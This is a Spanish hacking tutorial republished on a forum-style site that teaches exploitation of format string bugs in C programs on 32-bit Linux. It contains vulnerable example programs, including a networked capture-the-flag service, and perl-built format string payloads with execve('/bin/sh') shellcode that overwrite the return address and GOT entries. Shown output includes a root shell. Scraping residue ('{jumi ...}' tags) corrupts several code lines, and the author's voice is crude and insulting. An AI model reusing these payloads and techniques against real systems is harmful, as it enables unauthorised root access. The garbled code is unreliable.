Ultimos Mensajes del Foro

Manual Aleatorio

Algunos hackers buenos
Buen documento en el que se analiza a los hackers y todo su comportamiento
Leer más...
Format Bugs Imprimir E-mail
Hacking y Seguridad - Format Bugs
Analiza los format string bugs, utilizando gdb, perl y programacion en c, con un ejemplo.

Texto Completo:
Explotando Format Bugs
Por 0x90 (
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 )

I. Introduccion

Los format bugs son ya una cosa cotidiana en la explotacion y se pueden
ver un monton de textos y de exploits por todos lados, porque hacer otro
mas?, porque simplemente no hay uno bueno en español y los que he visto
fallan de algunas cosas que son obvias tal vez cuando ya las sabes hacer
pero cuando estas intentado explotar tu primer format bug son un dolor de
cabeza.

Aqui veremos varios ejemplos de format bugs y varias tecnicas, no son
todas ni las mas avanzadas pero bueno al menos podran explotar su format
bug al final de este articulo.

Bien importante si no saben C se la van a pasar en blanco casi con este
articulo y si ustedes son de los que cuando hace segmentation fault lo
primero que dicen es qu ees una denegacion de servicio en lugar de un
buffer overflow todavia mas. Intentare irme a lo basico pero no cuenten
con ello.

II. printf y su familia

Hay muchas funciones que imprimen a la pantalla, write, printf y demas,
ademas de imprimir en archivos, cual es el problema en el cual tomas
control de todo el problema?.
Veamos con un ejemplito:

---fmt.c---
#include 
#include 
int main(int argc, char **argv)
{
char buf[256];
unsigned long test=&test;
char buf2[12]="aaaaaaaaaaa\x00";
snprintf(buf,256,argv[1]); //here's the problem
buf[255]='{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}';
printf("%s\n",buf);
printf("%x\n",test);
printf("%s adr: %.8x\n",buf2,&buf2);
return 0;
}
---fmt.c---

Como puedes ver el problema esta en el sprintf(), porque? porque no le
estamos diciendo que formato usar para los datos, y lo espera en su
funcion:

int sprintf(char *str, const char *format, ...);

Asi pues que pasa si se encuentra un %x pero no hay nada? toma lo
siguiente que hay en el stack para imprimirlo, pero que es?, pues todo el
stack! hasta las direcciones de retorno!!! y que pasa cada vez que
imprimes?, simplemente lo saca del stack porque como ya lo imprimio? y es
lo que llamamos "Avanzar el stack".
Que pasa cuando jalamos el programa?

0x8048430 
: push %ebp 0x8048431 : mov %esp,%ebp 0x8048433 : push %edi 0x8048434 : push %esi Salvamos la direccion de retorno, la direccion del stack (Frame pointer) empujamos todo al stack y empezamos a inicializar las variables. Para que nos sirve la direccion de retorno?, bueno per se un programa nunca termina, es decir, tu regresas control al programa anterior, que programa tenias antes? el shell. Como vez? ahh verdad los puristas de asm ahora si estaran felices de la rectificacion de pendejadas que siempre se cometen en este tema, bueno a seguir. [root@XtremeLinux format]# ./fmt AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x AAAA000007d961616161616161610061616140013bc80000000340013e4800000001bffff a0c41414141 bffffa0c aaaaaaaaaaa adr: bffff9f0 [root@XtremeLinux format]# Que vemos aqui? Se ve un desmadre vamos a poner espacios para ver mejor, hay que ponertodo dentro de "" para que sepa que sigue siendo argv[1] okas? [root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x" AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48 00000001 bffff9fc 41414141 bffff9fc aaaaaaaaaaa adr: bffff9e0 [root@XtremeLinux format]# Ahh que puta diferencia!!! hay algunas cosas que como que se me hacen medio conocidas: A == 0x41 (hexadecimal) a == 0x61 (hexadecimal) Del fmt.c vemos que: char buf[256]; unsigned long test=&test; char buf2[12]="aaaaaaaaaaa\x00"; Vemos AAAA luego algo raro luego 61616161 que es aaaa luego 00616161 (aaa{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}) luego parte del syscal de kernel, un argumento, otra direccion, un 1, luego una direccion y luego 41414141, que sera la direccion? la direccion de donde esta test chequen que es la misma que se imprime un renglon abajo. Entonces ya sabemos donde estamos no?, si ... no ... si ... no .. no han entendido? man printf, gdb ./fmt y art of assembly si que les van a ayudar. Escribamos sobre alguna direccion, empecemos a escribir sobre la direccion de test como ven?, no no les estoy preguntando chingada madre... vamos a escribir y me vale madre. Para escribir usamos %n, es muy importante recordar que %n imprime el numero de caracteres que se debarian de haber impreso hasta ese momento, chequen como digo el numero de chars que se DEBERIAN de haber impreso no los que se han impreso okas?? Veamos en fmt: [root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %n %.8x" AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48 00000001 41414141 4c aaaaaaaaaaa adr: bffff9e0 [root@XtremeLinux format]# Verga, cambio la direccion a 4c y ademas ya no aparecio en el siguiente %.8x, porque?, por lo que les habia comentado lo saca del stack, y de que nos sirve esto?... Si todavia se preguntan esto lentamente cierra este documento, apaga tu computadora destruye tus libritos de como hackear hotmail, de como isntalar subseven y suicidate. Gracias menos script kiddiez. Okas no te has suicidado o no me hiciste puto caso o quieres aprender (Bravo! neesitamos menos weyes que roben programas de los demas y menos weyes que sean pendejos ./). Si queremos veamos si queremos escribir 0xbeef pondriamos 48811 veamos: [root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.48811x %n %.8x" AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48 0000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000 beef aaaaaaaaaaa adr: bffff9e0 [root@XtremeLinux format]# Pero, pero 48811 en hexa no es beef, claro que no estas tomando en cuenta todos los otros chars que estas imprimiendo tambien o no? ahhhhh verdad? suma y veras que si da =) Si quisieras escribir 0xbfffbeef tendrias que mandar alrededor de 250+ megas a la consola lo cual duraria entre 5 y 10 minutos, que hueva no? PERO si leemos lo que es la especificacion de %n podemos ver que es swtch h es un half world write, es decir solo escribe 2 bytes en lugar de los 4, que quiere decir esto? chequen: [root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.48811x %hn %.8x" AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48 0000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000 bfffbeef aaaaaaaaaaa adr: bffff9e0 [root@XtremeLinux format]# VERGA! escribimos una direccion de donde tomo la otra parte? de la parte que estaba ahi, solo escribimos 2 bytes o sea 16 bits de la direccion no los 32 buts completos. para que nos sirve esto? para poder hacer escrituras en dos partes y por lo tanto poder escribir mas rapido y con mas exactitud. Pero como puedo hacer para escribir en un lugar chingon?, chingon escribir en cualquier lugar pero no querias chigar el puto EIP o algo del GOT no? bueno bueno si le pones la direccion de donde quieres escribir puedes cambiar lo que quieras de esa direccion, checa: [root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf"; print "\x90" x 200; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%n%.8x";'` ùÿ¿AAAA000007d961616161616161610061616140013bc80000000 bfb3 aaaaaaaaaaa adr: bffff920 [root@XtremeLinux format]# El half word write sigue funcionando?? veamos: [root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf"; print "\x90" x 200; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'` ùÿ¿AAAA000007d961616161616161610061616140013bc80000000 bfffbfb3 aaaaaaaaaaa adr: bffff920 [root@XtremeLinux format]# Pues si si jalo pero como se que en serio estoy escribiendo donde debe? cambia la dir a ver que pasa =) [root@XtremeLinux format]# ./fmt `perl -e 'print "\xcc\xf9\xff\xbf"; print "\x90" x 200; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'` ùÿ¿»¿AAAA000007d961616161616161610061616140013bc80000000 bffff92c aaaaaaaaaaa adr: bffff910 [root@XtremeLinux format]# Chequen una cosita tuve que poner uno de mas para que se fue a la dir!!! es por el extra pop =), los pops pueden variar por uno en caso de tu gcc, ya que algunos (arriba del gcc 2.95) alinean %8 para mayor velocidad asi que tienes un pop de mas ... Es mas veamos si podemos poner una direccion completa nosotros no? como modificamos la primera parte?, bueno lo que haces es que hacemos dos %hn pero entre canda uno ponemos BBBB (4 bytes) para que sea el input de printf() y que no te de segfault en sistemas extraŽños (asi tenemos completa generalidad en la explotacion). entonces queda: <4 bytes>%hn<%x>%hn asi pues: [root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf"; print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.1000x%hn";'` ,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859- 15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000 c3a3bfbb aaaaaaaaaaa adr: bffff910 [root@XtremeLinux format]# Como ponemos las direcciones? ahi esta lo duro y tupido. Veamos veamos ... La primera fase es facil beef == 48879 y le quitamos lo que hemos impreso 208 bytes (4 de la primera direccion, 4B, 4 de la segunda y 192 nops), tambien le quitamos 8 veces el del 8 programas (8 * 8 == 64) o sea el primero es 48607. De ahi sigue le segunda parte que esta un poco mas dificil como vamos a hacer un short write solo vamos a escribir 2 bytes (0xffff no 0xffffffff), pero ya escribimos un chingo, entonces hay que ver que pedo, hacemos un wrap around, es decir subtraemos lo que ya escribimos de 1bfff y le ponemos lo que queremos escribir! 1bfff - beef = 65808 [root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf"; print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'` ,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859- 15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000 bfffbeef aaaaaaaaaaa adr: bffff910 [root@XtremeLinux format]# Ya dio miedo no? y de que chingados me sirve eso?, pues que tal escribir cualquier direccion que quieras? y donde quieras? ... Toma en cuenta que las primeras direcciones son donde quieres escribir y la segunda la direccion que quieres escribir, veamos primero chequemos donde esta nuestro buffer y de paso le ponemos shellcode digo para que de un shell o algo asi bonito no? Vamos a usar este shellcode: "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x15 \x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\ xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\" Un simple execve() de /bin/sh, nada raro ... [root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf"; print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print "\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x 15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3 1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'` 1%/1€’iso8859- 15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000 bfffbeef aaaaaaaaaaa adr: bffff910 [root@XtremeLinux format]# Ahora escribimos en otro lugar para ver que direccion esta test: [root@XtremeLinux format]# ./fmt `perl -e 'print "\x4c\xf9\xff\xbf"; print "AAAA"; print "\x4e\xf9\xff\xbf"; print "\x90" x 138; print "\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x 15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3 1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'` 1%/1€’iso8859- 15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000 bffff92c aaaaaaaaaaa adr: bffff910 [root@XtremeLinux format]# 0xbffff92c es la direccion donde esta test, donde estara nuestro buffer? 256 bytes abajo!, le sumamos unos 16 mas para poder caer bien en los NOPs (0x90 es una ayudita no?) entonces nuestro buffer estara en la direccion 0xbffff83c, vamos a armar la direccion primero [root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf"; print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print "\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x 15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3 1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'` 1%/1€’iso8859- 15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000 bffff83c aaaaaaaaaaa adr: bffff910 [root@XtremeLinux format]# Escribir sobre la direccion de test para verificar si lo hice bien, yo si y tu? ... Ahora vamos a lo dificil escribir sobre el EIP, donde estara el eip? esta 8 bytes abajo del buffer que esta 256 bytes abajo de la variable test, asi como sabemos la direccion de test (0xbffff92c) le restamos y escribimos ahi: [root@XtremeLinux format]# ./fmt `perl -e 'print "\x24\xf8\xff\xbf"; print "AAAA"; print "\x26\xf8\xff\xbf"; print "\x90" x 138; print "\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x 15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3 1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print "AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'` bffff92c aaaaaaaaaaa adr: bffff910 sh-2.05a# mira mira! ya pudimos explotar codigo, ahora que pasa si escribes dentro del GOT? el GOT es la parte del heap en donde esta toda la tabla de comandos que se ejecutan en cada programa. Hace poco hubo un con e hicieron un catura la bandera, como taba carito no pude ir pero dejaron la solucion y los programas dentro de su paginita: www.g-con.org Uno de esos era un programa que tenia un format bug, remoto para esos es poder tener una entrada de got para que funcione siempre porque el stak se puede mover mucho ademas que bueno aqui medio veiamos el stack, en este tambien un poco pero sirve para usar la siguiente forma de ataque al GOT. Aqui esta el programa que tenian ellos en el server: ---listado.c--- #include #include #include #include #include #include #define INFO_PONENCIAS '1' #define INFO_GCON '2' #define INFO_PONENTES '3' #define SALIR '4' #define MENU '5' struct _ponentes { char *ponente; char *informacion; char *ponencia; } ponencias[] = { {"pepito", "ponente en blackhat", "como romper pepitos"}, {"anakata", "http://www.anakata.hack.se", "Complex explotation scenarios, including memcpy(), also various shellcodes."}, {"aitel", "Dave Aitel es el fundador y consultor de seguridad de Immunity, Inc. Sus contribuciones publicas al mundo de la seguridad incluyen SPIKE, suite de aplicaciones de control y analisis. Y Vulnerabilidades en mayor manera hacia sistemas Windows NT RPC y Microsoft Exchange y Microsoft SQL Server 2000.", "Advanced windows overflows"}, {"richarte", "Gerardo Richarte es Director de CORE SECURITY TECHNOLOGIES.", "Advanced PTrace explotation and Automated Pentesting."}, {"guillermo", "Kaspersky Lab Chief Research Officer.", "Advanced PE Steganographic infection"}, {"enrique", "Kaspersky Lab Chief Technicall Officer.", "Advanced polimorfic virus with steganographic parser on UNIX, Beating the forensics analizis (Stego tool) and Taking over a corporative network in less than 50 lines of C code"}, {NULL, NULL, NULL} }; void ImpMenu(int fd, char *nombre); void Info_Ponencias(int fd); void Info_Gcon(int fd); void Info_Ponentes(int fd); char ObtOpcion(); int main(void) { char opcion = 0; int i = 0, cli_size; char nombre[256]; int s, c; struct sockaddr_in ser, cli; bzero(nombre, sizeof(nombre)); if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); return -1; } ser.sin_family = AF_INET; ser.sin_addr.s_addr = INADDR_ANY; ser.sin_port = htons((unsigned short int)9999); if(bind(s, (struct sockaddr *)&ser, sizeof(ser)) == -1) { perror("bind()"); return -1; } if(listen(s, 3) == -1) { perror("listen()"); return -1; } while(1) { if((c = accept(s, (struct sockaddr *)&cli, &cli_size)) == -1) { perror("accept()"); continue; } write(c, "Introduce tu nombre: ", strlen("Introduce tu nombre: ")); read(c, nombre, sizeof(nombre)-1); if(nombre[strlen(nombre)-1] == '\n') nombre[strlen(nombre)- 1]='{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}'; ImpMenu(c, nombre); while(1) { opcion = 0; while(!opcion) opcion = ObtOpcion(c); switch(opcion) { case MENU: ImpMenu(c, nombre); break; case INFO_PONENCIAS: Info_Ponencias(c); break; case INFO_GCON: Info_Gcon(c); break; case INFO_PONENTES: Info_Ponentes(c); break; case SALIR: write(c, "\r\n\r\nAplicacion saliendo...\n", strlen("\r\n\r\nAplicacion saliendo...\n")); // close(c); close(s); exit(0); break; } } close(c); } if(c) close(c); close(s); return 0; } void ImpMenu(int fd, char *nombre) { char menu[4096]; bzero(menu, sizeof(menu)); snprintf(menu, 4095, "\nBienvenido %s, escoje una opcion:\nmenu : Imprime el menu\n1 : Informacion sobre las ponencias\n2 : Informacion sobre g-con\n3 : Informacion sobre los ponentes\n4 : Salir\n\n", nombre); write(fd, menu, strlen(menu)); } void Info_Ponencias(int fd) { int num = 0, x = 0, y = 0, i; char ponente[256], actual[256], original[256]; bzero(ponente, sizeof(ponente)); bzero(original, sizeof(original)); while(ponencias[num].ponencia) num++; write(fd, "Escribe nombre del ponente: ", strlen("Escribe nombre del ponente: ")); read(fd, ponente, sizeof(ponente)-1); if(ponente[strlen(ponente)-1] == '\n') ponente[strlen(ponente)- 1]='{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}'; strcpy(original, ponente); for(i=0;i ", 2); read(fd, car, 255); car[255]=0; if(car[strlen(car)-1] == '\n') car[strlen(car)-1] = '{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}'; if(strlen(car) < 3) { switch(car[0]) { case INFO_PONENCIAS: return INFO_PONENCIAS; break; case INFO_GCON: return INFO_GCON; break; case INFO_PONENTES: return INFO_PONENTES; break; case SALIR: return SALIR; break; } } if(!strcmp(car, "menu")) return MENU; snprintf(buf, sizeof(buf)-1, "opcion %s no valida\n", car); write(fd, buf, strlen(buf)); return 0; } ---listado.c--- Veamos entonces: [root@XtremeLinux Format_App]# ./listado2 & [root@XtremeLinux Format_App]# nc -vvn 127.0.0.1 9999 (UNKNOWN) [127.0.0.1] 9999 (?) open Introduce tu nombre: 0x90 Bienvenido 0x90, escoje una opcion: menu : Imprime el menu 1 : Informacion sobre las ponencias 2 : Informacion sobre g-con 3 : Informacion sobre los ponentes 4 : Salir > 3 Escribe nombre del ponente: AAAA%.8x%.8x%.8x%.8x%.8x No se encontro ningun ponente llamado AAAA000000004141414178382e2578382e2578382e25 > 4 Aplicacion saliendo... sent 34, rcvd 347 [root@XtremeLinux Format_App]# Pues si ahi esta el puto format bug, vamos vamos!!! si se puede si se puede! Okas primero veamos que putas funciones corre y en que direccion estan: [root@XtremeLinux Format_App]# objdump -R listado2 listado2: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804acb8 R_386_GLOB_DAT __gmon_start__ 0804ac6c R_386_JUMP_SLOT __register_frame_info 0804ac70 R_386_JUMP_SLOT write 0804ac74 R_386_JUMP_SLOT strcmp 0804ac78 R_386_JUMP_SLOT perror 0804ac7c R_386_JUMP_SLOT accept 0804ac80 R_386_JUMP_SLOT tolower 0804ac84 R_386_JUMP_SLOT listen 0804ac88 R_386_JUMP_SLOT __deregister_frame_info 0804ac8c R_386_JUMP_SLOT strstr 0804ac90 R_386_JUMP_SLOT strlen 0804ac94 R_386_JUMP_SLOT __libc_start_main 0804ac98 R_386_JUMP_SLOT bind 0804ac9c R_386_JUMP_SLOT snprintf 0804aca0 R_386_JUMP_SLOT bzero 0804aca4 R_386_JUMP_SLOT exit 0804aca8 R_386_JUMP_SLOT htons 0804acac R_386_JUMP_SLOT socket 0804acb0 R_386_JUMP_SLOT read 0804acb4 R_386_JUMP_SLOT strcpy [root@XtremeLinux Format_App]# tenemos las direcciones ahora solo tenemos que ver que pedo con ellas: Todo el desmadre esta en Info_Ponentes() ---listado.c--- .... .... if(!x) { write(fd, "\r\n", 2); write(fd, "No se encontro ningun ponente llamado ", strlen("No se encontro ningun ponente llamado ")); bzero(actual, sizeof(actual)); snprintf(actual, sizeof(actual)-1, original); write(fd, actual, strlen(actual)); write(fd, "\n", 1); } .... .... ---listado.c--- chequen el snprintf() pusieron un strcpy() arriba para despistar pero los tamanios son los mismos ni pedo la vida es asi al format =/ Bueno entonces tenemos que podemos hacer el format y sabemos donde esta, podemos sobrescribir el write o sobrescribir el exit y despues mandar el 4 para que salga y te de el pinche shell la que quieras, hay pen pequeño puto problema: Ven dentro de listado.c la siguiente puta linea?? for(y=0;y execve()->/bin/sh si no no jala!), puta madre ahora que hacemos?, pues nada we nada, tomar la direccion del original a ese no le aplican el pinche tolower()!!! a buscar a buscar en el gdb hay que buscar ... no es bonito y les da mucha ilusion? Quien sabe usar gdb quien quien quien? nadie? pocos? muchos? manden 41424344 y busquenlo en la memoria, de ahi saben la direccion que deben ustedes de poner en la escritura, yo recomiendo usar exit() ya que write truena bastante, jala bonito eh .. bastante: [root@XtremeLinux g-con]# ./x-listado 127.0.0.1 sending Linux XtremeLinux.raza-mexicana.org 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit [root@XtremeLinux g-con]# Bueno eso es todo, la hueva intrinseca no da para mas, en caso de tener algun problema Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla y les contesto. Intentenle y calenle, hay de todo por ahi, como ataques a syslog() y demas. Prometo escribir la version avanzada en la proxima ezine. 0x90 "The louder the music the better the code!"